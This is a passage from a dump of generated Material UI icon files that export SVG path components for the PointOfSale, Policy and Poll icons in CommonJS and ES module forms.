    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 2H7c-1.1 0-2 .9-2 2v2c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 4H7V4h10zm3 16H4c-1.1 0-2-.9-2-2v-1h20v1c0 1.1-.9 2-2 2m-1.47-11.81C18.21 9.47 17.49 9 16.7 9H7.3c-.79 0-1.51.47-1.83 1.19L2 18h20zM9.5 16h-1c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h1c.28 0 .5.22.5.5s-.22.5-.5.5m0-2h-1c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h1c.28 0 .5.22.5.5s-.22.5-.5.5m0-2h-1c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h1c.28 0 .5.22.5.5s-.22.5-.5.5m3 4h-1c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h1c.28 0 .5.22.5.5s-.22.5-.5.5m0-2h-1c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h1c.28 0 .5.22.5.5s-.22.5-.5.5m0-2h-1c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h1c.28 0 .5.22.5.5s-.22.5-.5.5m3 4h-1c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h1c.28 0 .5.22.5.5s-.22.5-.5.5m0-2h-1c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h1c.28 0 .5.22.5.5s-.22.5-.5.5m0-2h-1c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h1c.28 0 .5.22.5.5s-.22.5-.5.5\"\n}), 'PointOfSaleOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PointOfSaleRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 2H7c-1.1 0-2 .9-2 2v2c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-.5 4h-9c-.28 0-.5-.22-.5-.5v-1c0-.28.22-.5.5-.5h9c.28 0 .5.22.5.5v1c0 .28-.22.5-.5.5M20 22H4c-1.1 0-2-.9-2-2v-1h20v1c0 1.1-.9 2-2 2m-1.47-11.81C18.21 9.47 17.49 9 16.7 9H7.3c-.79 0-1.51.47-1.83 1.19L2 18h20zM9.5 16h-1c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h1c.28 0 .5.22.5.5s-.22.5-.5.5m0-2h-1c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h1c.28 0 .5.22.5.5s-.22.5-.5.5m0-2h-1c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h1c.28 0 .5.22.5.5s-.22.5-.5.5m3 4h-1c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h1c.28 0 .5.22.5.5s-.22.5-.5.5m0-2h-1c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h1c.28 0 .5.22.5.5s-.22.5-.5.5m0-2h-1c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h1c.28 0 .5.22.5.5s-.22.5-.5.5m3 4h-1c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h1c.28 0 .5.22.5.5s-.22.5-.5.5m0-2h-1c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h1c.28 0 .5.22.5.5s-.22.5-.5.5m0-2h-1c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h1c.28 0 .5.22.5.5s-.22.5-.5.5\"\n}), 'PointOfSaleRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PointOfSaleRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 2H7c-1.1 0-2 .9-2 2v2c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-.5 4h-9c-.28 0-.5-.22-.5-.5v-1c0-.28.22-.5.5-.5h9c.28 0 .5.22.5.5v1c0 .28-.22.5-.5.5M20 22H4c-1.1 0-2-.9-2-2v-1h20v1c0 1.1-.9 2-2 2m-1.47-11.81C18.21 9.47 17.49 9 16.7 9H7.3c-.79 0-1.51.47-1.83 1.19L2 18h20zM9.5 16h-1c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h1c.28 0 .5.22.5.5s-.22.5-.5.5m0-2h-1c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h1c.28 0 .5.22.5.5s-.22.5-.5.5m0-2h-1c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h1c.28 0 .5.22.5.5s-.22.5-.5.5m3 4h-1c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h1c.28 0 .5.22.5.5s-.22.5-.5.5m0-2h-1c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h1c.28 0 .5.22.5.5s-.22.5-.5.5m0-2h-1c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h1c.28 0 .5.22.5.5s-.22.5-.5.5m3 4h-1c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h1c.28 0 .5.22.5.5s-.22.5-.5.5m0-2h-1c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h1c.28 0 .5.22.5.5s-.22.5-.5.5m0-2h-1c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h1c.28 0 .5.22.5.5s-.22.5-.5.5\"\n}), 'PointOfSaleRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PointOfSaleSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 2H5v6h14zm-2 4H7V4h10zm5 16H2v-3h20zM18 9H6l-4 9h20zm-8 7H8v-1h2zm0-2H8v-1h2zm0-2H8v-1h2zm3 4h-2v-1h2zm0-2h-2v-1h2zm0-2h-2v-1h2zm3 4h-2v-1h2zm0-2h-2v-1h2zm0-2h-2v-1h2z\"\n}), 'PointOfSaleSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PointOfSaleSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 2H5v6h14zm-2 4H7V4h10zm5 16H2v-3h20zM18 9H6l-4 9h20zm-8 7H8v-1h2zm0-2H8v-1h2zm0-2H8v-1h2zm3 4h-2v-1h2zm0-2h-2v-1h2zm0-2h-2v-1h2zm3 4h-2v-1h2zm0-2h-2v-1h2zm0-2h-2v-1h2z\"\n}), 'PointOfSaleSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PointOfSaleTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.5 16h-1c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h1c.28 0 .5.22.5.5s-.22.5-.5.5m.5-2.5c0-.28-.22-.5-.5-.5h-1c-.28 0-.5.22-.5.5s.22.5.5.5h1c.28 0 .5-.22.5-.5m0-2c0-.28-.22-.5-.5-.5h-1c-.28 0-.5.22-.5.5s.22.5.5.5h1c.28 0 .5-.22.5-.5m3 4c0-.28-.22-.5-.5-.5h-1c-.28 0-.5.22-.5.5s.22.5.5.5h1c.28 0 .5-.22.5-.5m0-2c0-.28-.22-.5-.5-.5h-1c-.28 0-.5.22-.5.5s.22.5.5.5h1c.28 0 .5-.22.5-.5m0-2c0-.28-.22-.5-.5-.5h-1c-.28 0-.5.22-.5.5s.22.5.5.5h1c.28 0 .5-.22.5-.5m3 4c0-.28-.22-.5-.5-.5h-1c-.28 0-.5.22-.5.5s.22.5.5.5h1c.28 0 .5-.22.5-.5m0-2c0-.28-.22-.5-.5-.5h-1c-.28 0-.5.22-.5.5s.22.5.5.5h1c.28 0 .5-.22.5-.5m0-2c0-.28-.22-.5-.5-.5h-1c-.28 0-.5.22-.5.5s.22.5.5.5h1c.28 0 .5-.22.5-.5M17 4H7v2h10z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 2H7c-1.1 0-2 .9-2 2v2c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 4H7V4h10zm3 16H4c-1.1 0-2-.9-2-2v-1h20v1c0 1.1-.9 2-2 2m-1.47-11.81C18.21 9.47 17.49 9 16.7 9H7.3c-.79 0-1.51.47-1.83 1.19L2 18h20zM9.5 16h-1c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h1c.28 0 .5.22.5.5s-.22.5-.5.5m0-2h-1c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h1c.28 0 .5.22.5.5s-.22.5-.5.5m0-2h-1c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h1c.28 0 .5.22.5.5s-.22.5-.5.5m3 4h-1c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h1c.28 0 .5.22.5.5s-.22.5-.5.5m0-2h-1c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h1c.28 0 .5.22.5.5s-.22.5-.5.5m0-2h-1c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h1c.28 0 .5.22.5.5s-.22.5-.5.5m3 4h-1c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h1c.28 0 .5.22.5.5s-.22.5-.5.5m0-2h-1c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h1c.28 0 .5.22.5.5s-.22.5-.5.5m0-2h-1c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h1c.28 0 .5.22.5.5s-.22.5-.5.5\"\n}, \"1\")], 'PointOfSaleTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PointOfSaleTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.5 16h-1c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h1c.28 0 .5.22.5.5s-.22.5-.5.5m.5-2.5c0-.28-.22-.5-.5-.5h-1c-.28 0-.5.22-.5.5s.22.5.5.5h1c.28 0 .5-.22.5-.5m0-2c0-.28-.22-.5-.5-.5h-1c-.28 0-.5.22-.5.5s.22.5.5.5h1c.28 0 .5-.22.5-.5m3 4c0-.28-.22-.5-.5-.5h-1c-.28 0-.5.22-.5.5s.22.5.5.5h1c.28 0 .5-.22.5-.5m0-2c0-.28-.22-.5-.5-.5h-1c-.28 0-.5.22-.5.5s.22.5.5.5h1c.28 0 .5-.22.5-.5m0-2c0-.28-.22-.5-.5-.5h-1c-.28 0-.5.22-.5.5s.22.5.5.5h1c.28 0 .5-.22.5-.5m3 4c0-.28-.22-.5-.5-.5h-1c-.28 0-.5.22-.5.5s.22.5.5.5h1c.28 0 .5-.22.5-.5m0-2c0-.28-.22-.5-.5-.5h-1c-.28 0-.5.22-.5.5s.22.5.5.5h1c.28 0 .5-.22.5-.5m0-2c0-.28-.22-.5-.5-.5h-1c-.28 0-.5.22-.5.5s.22.5.5.5h1c.28 0 .5-.22.5-.5M17 4H7v2h10z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 2H7c-1.1 0-2 .9-2 2v2c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 4H7V4h10zm3 16H4c-1.1 0-2-.9-2-2v-1h20v1c0 1.1-.9 2-2 2m-1.47-11.81C18.21 9.47 17.49 9 16.7 9H7.3c-.79 0-1.51.47-1.83 1.19L2 18h20zM9.5 16h-1c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h1c.28 0 .5.22.5.5s-.22.5-.5.5m0-2h-1c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h1c.28 0 .5.22.5.5s-.22.5-.5.5m0-2h-1c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h1c.28 0 .5.22.5.5s-.22.5-.5.5m3 4h-1c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h1c.28 0 .5.22.5.5s-.22.5-.5.5m0-2h-1c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h1c.28 0 .5.22.5.5s-.22.5-.5.5m0-2h-1c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h1c.28 0 .5.22.5.5s-.22.5-.5.5m3 4h-1c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h1c.28 0 .5.22.5.5s-.22.5-.5.5m0-2h-1c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h1c.28 0 .5.22.5.5s-.22.5-.5.5m0-2h-1c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h1c.28 0 .5.22.5.5s-.22.5-.5.5\"\n}, \"1\")], 'PointOfSaleTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Policy.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21 5-9-4-9 4v6c0 5.55 3.84 10.74 9 12 2.3-.56 4.33-1.9 5.88-3.71l-3.12-3.12c-1.94 1.29-4.58 1.07-6.29-.64-1.95-1.95-1.95-5.12 0-7.07s5.12-1.95 7.07 0c1.71 1.71 1.92 4.35.64 6.29l2.9 2.9C20.29 15.69 21 13.38 21 11z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"12\",\n  r: \"3\"\n}, \"1\")], 'Policy');"
  },
  {
    "path": "packages/mui-icons-material/lib/Policy.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m21 5-9-4-9 4v6c0 5.55 3.84 10.74 9 12 2.3-.56 4.33-1.9 5.88-3.71l-3.12-3.12c-1.94 1.29-4.58 1.07-6.29-.64-1.95-1.95-1.95-5.12 0-7.07s5.12-1.95 7.07 0c1.71 1.71 1.92 4.35.64 6.29l2.9 2.9C20.29 15.69 21 13.38 21 11z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"12\",\n  r: \"3\"\n}, \"1\")], 'Policy');"
  },
  {
    "path": "packages/mui-icons-material/lib/PolicyOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 1 3 5v6c0 5.55 3.84 10.74 9 12 5.16-1.26 9-6.45 9-12V5zm7 10c0 1.85-.51 3.65-1.38 5.21l-1.45-1.45c1.29-1.94 1.07-4.58-.64-6.29-1.95-1.95-5.12-1.95-7.07 0s-1.95 5.12 0 7.07c1.71 1.71 4.35 1.92 6.29.64l1.72 1.72c-1.19 1.42-2.73 2.51-4.47 3.04-4.02-1.25-7-5.42-7-9.94V6.3l7-3.11 7 3.11zm-7 4c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3\"\n}), 'PolicyOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PolicyOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 1 3 5v6c0 5.55 3.84 10.74 9 12 5.16-1.26 9-6.45 9-12V5zm7 10c0 1.85-.51 3.65-1.38 5.21l-1.45-1.45c1.29-1.94 1.07-4.58-.64-6.29-1.95-1.95-5.12-1.95-7.07 0s-1.95 5.12 0 7.07c1.71 1.71 4.35 1.92 6.29.64l1.72 1.72c-1.19 1.42-2.73 2.51-4.47 3.04-4.02-1.25-7-5.42-7-9.94V6.3l7-3.11 7 3.11zm-7 4c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3\"\n}), 'PolicyOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PolicyRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 6.3c0-.79-.47-1.51-1.19-1.83l-7-3.11c-.52-.23-1.11-.23-1.62 0l-7 3.11C3.47 4.79 3 5.51 3 6.3V11c0 5.55 3.84 10.74 9 12 2.3-.56 4.33-1.9 5.88-3.71l-3.12-3.12c-1.94 1.29-4.58 1.07-6.29-.64-1.95-1.95-1.95-5.12 0-7.07s5.12-1.95 7.07 0c1.71 1.71 1.92 4.35.64 6.29l2.9 2.9C20.29 15.69 21 13.38 21 11z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"12\",\n  r: \"3\"\n}, \"1\")], 'PolicyRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PolicyRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 6.3c0-.79-.47-1.51-1.19-1.83l-7-3.11c-.52-.23-1.11-.23-1.62 0l-7 3.11C3.47 4.79 3 5.51 3 6.3V11c0 5.55 3.84 10.74 9 12 2.3-.56 4.33-1.9 5.88-3.71l-3.12-3.12c-1.94 1.29-4.58 1.07-6.29-.64-1.95-1.95-1.95-5.12 0-7.07s5.12-1.95 7.07 0c1.71 1.71 1.92 4.35.64 6.29l2.9 2.9C20.29 15.69 21 13.38 21 11z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"12\",\n  r: \"3\"\n}, \"1\")], 'PolicyRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PolicySharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21 5-9-4-9 4v6c0 5.55 3.84 10.74 9 12 2.3-.56 4.33-1.9 5.88-3.71l-3.12-3.12c-1.94 1.29-4.58 1.07-6.29-.64-1.95-1.95-1.95-5.12 0-7.07s5.12-1.95 7.07 0c1.71 1.71 1.92 4.35.64 6.29l2.9 2.9C20.29 15.69 21 13.38 21 11z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"12\",\n  r: \"3\"\n}, \"1\")], 'PolicySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PolicySharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m21 5-9-4-9 4v6c0 5.55 3.84 10.74 9 12 2.3-.56 4.33-1.9 5.88-3.71l-3.12-3.12c-1.94 1.29-4.58 1.07-6.29-.64-1.95-1.95-1.95-5.12 0-7.07s5.12-1.95 7.07 0c1.71 1.71 1.92 4.35.64 6.29l2.9 2.9C20.29 15.69 21 13.38 21 11z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"12\",\n  r: \"3\"\n}, \"1\")], 'PolicySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PolicyTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 6.3V11c0 4.52 2.98 8.69 7 9.93 1.74-.53 3.28-1.62 4.47-3.04l-1.72-1.72c-1.94 1.29-4.58 1.07-6.29-.64-1.95-1.95-1.95-5.12 0-7.07s5.12-1.95 7.07 0c1.71 1.71 1.92 4.35.64 6.29l1.45 1.45C18.49 14.65 19 12.85 19 11V6.3l-7-3.11z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 1 3 5v6c0 5.55 3.84 10.74 9 12 .65-.16 1.27-.38 1.87-.65 1.8-.82 3.36-2.13 4.57-3.74C20.04 16.46 21 13.77 21 11V5zm7 10c0 1.85-.51 3.65-1.38 5.21l-1.45-1.45c1.29-1.94 1.07-4.58-.64-6.29-1.95-1.95-5.12-1.95-7.07 0s-1.95 5.12 0 7.07c1.71 1.71 4.35 1.92 6.29.64l1.72 1.72c-1.19 1.42-2.73 2.51-4.47 3.04-4.02-1.25-7-5.42-7-9.94V6.3l7-3.11 7 3.11zm-4 1c0 1.66-1.34 3-3 3s-3-1.34-3-3 1.34-3 3-3 3 1.34 3 3\"\n}, \"1\")], 'PolicyTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PolicyTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 6.3V11c0 4.52 2.98 8.69 7 9.93 1.74-.53 3.28-1.62 4.47-3.04l-1.72-1.72c-1.94 1.29-4.58 1.07-6.29-.64-1.95-1.95-1.95-5.12 0-7.07s5.12-1.95 7.07 0c1.71 1.71 1.92 4.35.64 6.29l1.45 1.45C18.49 14.65 19 12.85 19 11V6.3l-7-3.11z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 1 3 5v6c0 5.55 3.84 10.74 9 12 .65-.16 1.27-.38 1.87-.65 1.8-.82 3.36-2.13 4.57-3.74C20.04 16.46 21 13.77 21 11V5zm7 10c0 1.85-.51 3.65-1.38 5.21l-1.45-1.45c1.29-1.94 1.07-4.58-.64-6.29-1.95-1.95-5.12-1.95-7.07 0s-1.95 5.12 0 7.07c1.71 1.71 4.35 1.92 6.29.64l1.72 1.72c-1.19 1.42-2.73 2.51-4.47 3.04-4.02-1.25-7-5.42-7-9.94V6.3l7-3.11 7 3.11zm-4 1c0 1.66-1.34 3-3 3s-3-1.34-3-3 1.34-3 3-3 3 1.34 3 3\"\n}, \"1\")], 'PolicyTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Poll.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M9 17H7v-7h2zm4 0h-2V7h2zm4 0h-2v-4h2z\"\n}), 'Poll');"
  },
  {
    "path": "packages/mui-icons-material/lib/Poll.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M9 17H7v-7h2zm4 0h-2V7h2zm4 0h-2v-4h2z\"\n}), 'Poll');"
  },
  {
    "path": "packages/mui-icons-material/lib/PollOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14zM7 10h2v7H7zm4-3h2v10h-2zm4 6h2v4h-2z\"\n}), 'PollOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PollOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14zM7 10h2v7H7zm4-3h2v10h-2zm4 6h2v4h-2z\"\n}), 'PollOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PollRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M8 17c-.55 0-1-.45-1-1v-5c0-.55.45-1 1-1s1 .45 1 1v5c0 .55-.45 1-1 1m4 0c-.55 0-1-.45-1-1V8c0-.55.45-1 1-1s1 .45 1 1v8c0 .55-.45 1-1 1m4 0c-.55 0-1-.45-1-1v-2c0-.55.45-1 1-1s1 .45 1 1v2c0 .55-.45 1-1 1\"\n}), 'PollRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PollRounded.mjs",
